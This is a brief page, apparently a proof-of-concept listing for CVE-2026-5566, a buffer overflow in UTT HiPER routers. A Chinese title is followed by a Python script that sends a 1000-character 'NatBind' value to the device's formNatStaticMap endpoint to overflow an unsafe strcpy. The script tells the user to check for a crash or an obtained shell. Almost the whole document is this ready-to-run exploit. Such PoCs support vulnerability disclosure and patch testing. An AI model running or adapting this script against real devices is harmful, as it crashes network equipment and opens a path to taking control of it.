CVE-2026-5566 UTT HiPER缓冲区溢出漏洞

import requests def exploit_poc(target_ip): # Target URL for the vulnerable endpoint url = f"http://{target_ip}/goform/formNatStaticMap" # Construct payload to trigger buffer overflow # The 'NatBind' parameter is vulnerable due to unsafe strcpy # Sending a large string (e.g., 1000 'A's) to overwrite the stack payload = { "NatBind": "A" * 1000 } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[!] Check if the device has crashed or if a shell is obtained.") else: print(f"[-] Unexpected response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.1" exploit_poc(target)